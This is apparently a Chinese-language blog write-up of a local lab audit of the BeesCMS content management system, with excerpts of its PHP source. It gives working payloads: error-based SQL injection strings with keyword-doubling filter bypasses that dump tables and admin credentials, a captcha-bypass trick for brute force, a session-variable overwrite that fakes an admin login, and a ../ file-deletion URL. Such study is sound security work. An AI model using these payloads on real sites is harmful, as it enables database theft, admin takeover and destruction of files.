beescms

参考:https://xz.aliyun.com/t/11955

搭建

基于 phpstudy 搭建

  1. http://beescms.com/cxxz.html 官网进行下载,可能会提示安全问题忽略即可。
  2. 解压后改名(beescms)放入 WWW 根目录下。
  3. 访问 http://127.0.0.1/beescms/install 开始安装
    ps: 一直到填写数据库页面可能会出现如下问题
  4. 数据库用户名密码(和 phpstudy 相配)
  5. 数据库之前进行过冲突处理的,要进入服务打开 mysqla。
  6. 数据库名字,我取的是 beescms,需要用 phpstudy 打开数据库可视化工具新建一个同名数据库。
  7. php 版本最好 5.4 以下,版本太高不兼容会报语法错误。
  8. 在 mysql 里面的 my.ini 文件加入 secure_file_priv =

信息收集

目录扫描

这里顺嘴记录一下,本人用的目录扫描工具是 dirsearch,需要 python 运行,但是 dirsearch 只支持 3.7 以上版本,这时候我们要如何快速切换对应版本呢?只需要在对应版本的路径找到 python.exe,比如我的版本是 3.6,我改成 python36,执行 python36 就行。

测试了一下发现这几个网址都是后台登录界面
http://127.0.0.1/beescms/ADMIN/
http://127.0.0.1/beescms/Admin/
http://127.0.0.1/beescms/admin/
http://127.0.0.1/beescms/admin./

登录界面

sql 注入

测试

首先,观察有用户名和密码,还有验证码。
然后,可以想到的事是分别测试用户名和密码,看是否存在 sql 注入。

  • 判断是否存在 sql 注入
    俩方法
  1. 分别在用户名和密码部分手动测试一下,是否存在 sql 注入。
  2. 整理一个常用的测试 sql 注入的字典,用 burp 爆破判断。
    这里呢,我手动测试一下吧
  • 测试
  1. admin
    密码错误
  2. admin’
    报错啦

    看来是存在 sql 注入的,那么具体是哪一种注入呢?这里有源码,我们进行一下代码审计。

代码审计

  • admin/login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);

}

elseif($action=='out'){
login_out();
}

阅读一下代码,对用户名和密码部分用了两个函数进行处理,fl_value (),fl_html (),最后进入了 check_login () 函数

  1. fl_value()
    看头文件,确定该函数引入路径,找到 fun.php 文件
1
2
3
4
5
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

preg_replace

1
2
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

对 sql 语句的一些关键字进行空字符替换
2. fl_html ()

1
2
3
function fl_html($str){
return htmlspecialchars($str);
}
1
2
3
4
5
6
7
8
9
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;
  1. check_login()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}

$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}

fetch_asc?
直接将用户名带入 sql 语句查询,密码也是加密后与数据库进行比对
4. fetch_asc ()
mysql.class.php

1
2
3
4
5
6
7
8
9
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}

query?
mysql_fetch_assoc () — 从结果集中取得一行作为关联数
5. query ()

1
2
3
4
5
6
function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}

mysql_error () 返回错误信息

综上

可以使用报错注入,对于一些关键字可以使用双写绕过

  1. 暴库
1
admin'and updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1) #  


2. 暴表

1
admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like 'beescms'),0x7e),1) #
1
admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1) #


对长度进行限制,所以没有显示完全,可以用 right,left 函数拼接
3. 暴字段

1
admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) fr from om information_schema.columns wh where ere table_schema like database()),0x7e),1) #


4. 暴值

1
2
admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(admin_name,admin_password) fr from om (beescms.bees_admin)),0x7e),1) #
~admin21232f297a57a5a743894a0e4a
1
2
admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(right(admin_password,15)) fr from om (beescms.bees_admin)),0x7e),1) #
~3894a0e4a801fc3~

admin21232f297a57a5a743894a0e4a801fc3
用户名:admin
密码:admin

爆破

  • 分析
    用户名和密码都好进行爆破,现在唯一棘手的就是绕过验证码,我们可以抓包看看情况
1
user=admin&password=password&code=72df&submit=true&submit.x=33&submit.y=19

猜测 submit 可以控制验证码,如果 submit=false 会怎么样呢?验证码会不会不变?

  • 验证
    submit=false 情况下
  1. 密码错误,验证码正确

    被告知密码错误
  2. 密码错误,验证码错误

    被优先告知验证码错误
    说明程序应该是优先判断验证码对不对,但是我们在控制 submit=false 情况下,不断重复发送,验证码一直都是原来那一个,由此可知 submit=false 情况下可以保证验证码不变。
  • 爆破



    使用 admin 成功登录!

变量覆盖导致的后台登录绕过

后台登录验证的代码在 admin/init.php 文件下

  1. admin/init.php
1
2
//检查登陆
if(!is_login()){header('location:login.php');exit;}

到 include/fun.php 审计 is_login ()
2. include/fun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}

}

登录条件: $_SESSION['login_in']==1 并且有 $_SESSION['admin'] 变量,还有 time()-$_SESSION['login_time']<3600 ,time () 是一个超大的数值
所以如果在一个界面可以传入

1
_SESSION[login_in]=1&_SESSION[admin]=admin&_SESSION[login_time]=100000000000000000000000

那么就可以伪造登录
3. includes/init.php

1
2
3
4
5
6
if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

我们发现对 request 请求到的一些资源都在 fl_value () 中做了过滤,但是 post 没做过滤,那么我们看一下哪些界面引用了这个文件,就可以进行 post 传参,然后再切换到登录界面,应该就可以实现登录。
4. index.php

1
require_once('includes/init.php');

引入的文件如果看不见,可以在 includes/init.php 传参处打断点,逐步运行调试,看哪一步用到了。
5. 传参
hackbar

任意文件删除漏洞

admin/admin_ajax.php

1
2
3
4
5
6
7
$value=$_REQUEST['value'];
//删除图片
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}

没有对 value 值进行严格过滤(或者说没有过滤),导致可以传任意值,我可以传入一些路径的文件进行删除,或者我可以删除站内文件。 …/ 文件
从 include 文件开始
登录后构造
payload:

1
http://127.0.0.1/beescms/admin/admin_ajax.php?action=del_pic&value=../文件名

参数可控导致的 sql 注入

访问量 访客